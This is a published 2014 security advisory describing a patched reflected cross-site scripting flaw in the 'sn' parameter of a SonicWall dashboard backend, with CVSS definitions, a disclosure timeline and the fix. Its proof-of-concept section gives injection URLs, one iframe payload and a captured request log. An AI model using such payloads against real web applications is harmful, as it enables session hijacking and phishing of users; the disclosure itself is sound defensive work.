The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
S
An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality
Low
C
There is some impact on confidentiality, but the attacker either does not gain control of any data, or the information obtained does not have a significant impact on the system or its operations.
Integrity
Low
I
Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability
None
A
There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.
Document Title:
===============
SonicWall Dashboard Backend Server - Client-Side Cross Site Scripting Web Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1100
Release Date:
=============
2014-03-06
Vulnerability Laboratory ID (VL-ID):
====================================
1100
Common Vulnerability Scoring System:
====================================
2
Product & Service Introduction:
===============================
The SonicWALL® Network Security Appliance (NSA) 2400 is a Unified Threat Management platform for small- to medium-sized
businesses and branch sites requiring capacity and performance. The NSA 2400 integrates dual-core hardware, SonicWALL
Reassembly-Free Deep Packet Inspection¢, intrusion prevention, application control, and SSL VPN, for real-time
protection without compromising performance.
(Copy of the Vendor Homepage: http://www.sonicwall.com/de/en/products/NSA_2400.html )
Affected
========
Dashboard Backend Service
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a client-side cross site scripting web vulnerability in the SonicWall backend servers with which firewalls communicate.
Vulnerability Disclosure Timeline:
==================================
2013-09-26:Researcher Notification & Coordination (Benjamin Kunz Mejri)
2013-09-27:Vendor Notification (DELL SonicWall Security Team)
2014-10-06:Vendor Response/Feedback (DELL SonicWall Security Team)
2014-02-18:Vendor Fix/Patch (DELL SonicWall Developer Team)
2014-03-06:Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Low
Technical Details & Description:
================================
A client-side cross site scripting web vulnerability has been discovered in the SonicWall backend web-server with which appliance firewalls communicate.
The cross site scripting web vulnerability allows an attacker to manipulate client-side browser requests through a vulnerable application module/function.
The cross site scripting vulnerability is located in the dashboard.jsp file when processing to request via GET method manipulated `sn` values.
The injected script code executes on the client-side of the web-application in the dashboard resource checkbox listing backend.
This issue affects sonicwall backend servers with which firewalls communicate. The attack vector is non-persistent (client-side) and the request
method is GET. The security risk of the client-side web vulnerability is estimated as low(+) with a cvss (common vulnerability scoring system)
count of 2.0(+)|(-)2.1.
Exploitation of the client-side web vulnerability requires no privileged web-application user account but low or medium user interaction.
Successful exploitation of the vulnerability results in session hijacking, client-side phishing, client-side external redirects, malicious
GET method requests and client-side manipulation of the vulnerable or connected module context.
Request Method(s):
[+] [GET]
Vulnerable Module(s):
[+] stats
Vulnerable File(s):
[+] dashboard.jsp
Vulnerable Parameter(s):
[+] sn
Proof of Concept (PoC):
=======================
The client-side cross site scripting web vulnerability can be exploited by remote attackers without privileged application user account and with
low or medium user interaction. For security demonstration or to reproduce the issue follow the provided information and steps below to continue.
PoC: Example
http://nsa2400.localhost:8080/stats/dashboard.jsp?sn=[CLIENT-SIDE INJECTED SCRIPT CODE VIA SN!]%3E&UI=5&vndr=sw
PoC: Module: User Monitor - Backend
http://nsa2400.localhost:8080/stats/dashboard.jsp?sn=%3E%22%3Ciframe%20src=http://www.vulnerability-lab.com%3E&UI=5&vndr=sw
Module: User Monitor - Security Dashboard
<form>
<a href="fwl_system_status.html" class="breadcrumb">System/</a><br>
<span class="header">Security Dashboard</span><br>
<table border="0" cellpadding="0" cellspacing="0" width="97%">
<tbody><tr>
<td colspan="2" class="button_row_bg"><img src="images/gen5/clear.gif" height="1" width="1"></td>
</tr>
<tr>
<td class="button_row_image">View:
<input name="mode" value="g" checked="" onclick="changeMode(this.value);" type="radio">Global
<input name="mode" value="l" onclick="changeMode(this.value);" type="radio">>"<[CLIENT-SIDE INJECTED SCRIPT CODE VIA SN!]">
</td>
--- PoC Session Logs [GET] ---
Status: 200[OK]
GET http://nsa2400.localhost:8080/stats/dashboard.jsp?sn=[CLIENT-SIDE INJECTED SCRIPT CODE VIA SN!]%3E&UI=5&vndr=sw
Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ]
Content Size[-1]
Mime Type[text/html]
Request Headers:
Host[nsa2400.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
DNT[1]
Cookie[JSESSIONID=4D8814AAF02212A2D1C234F9C9192644; __utma=205917072.1209742391.1380320042.1380320042.1380320042.1;
__utmb=205917072.8.10.1380320042; __utmc=205917072; __utmz=205917072.1380320042.1.1.utmcsr=google|utmccn=(organic)|
utmcmd=organic|utmctr=(not%20provided); s_cc=true; s_sq=%5B%5BB%5D%5D; curUrl=userMonitor.html;
curUsr=; 77177=local; 1008=2; 1021=600; 1023=10; 1024=5; 1031=0; 1032=0; 1033=0; 1034=0; 1035=0; 1040=4; 1041=1; 1042=0;
1043=0; 1044=0; 1045=0; 1022=true; 1007=applFolder; SessId=null; PageSeed=null]
Connection[keep-alive]
Response Headers:
Server[Apache-Coyote/1.1]
Expires[Sat, 6 May 1995 12:00:00 GMT]
Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0]
Pragma[no-cache]
Content-Type[text/html]
Date[Fri, 27 Sep 2013 22:16:36 GMT]
Connection[close]
Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse or encode of the vulnerable sn value in the backend server application with which the firewall appliances communicates.
2014-02-18:Vendor Fix/Patch (DELL SonicWall Developer Team)
SonicWall: This issue affects sonicwall backend servers with which firewalls communicate. Backend servers have been updated with the fix for this issue on 02/18/2014.
Security Risk:
==============
The security risk of the client-side cross site scripting web vulnerability is estimated as low(+).
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri ([email protected]) [www.vulnerability-lab.com]
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
or trade with fraud/stolen material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: [email protected] - [email protected] - [email protected]
Section: www.vulnerability-lab.com/dev - forum.vulnerability-db.com - magazine.vulnerability-db.com
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php- vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
modify, use or edit our material contact ([email protected] or [email protected]) to get a permission.
Copyright 2014 | Vulnerability Laboratory [Evolution Security]
--
VULNERABILITY LABORATORY RESEARCH TEAM
DOMAIN: www.vulnerability-lab.com
CONTACT: [email protected]
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum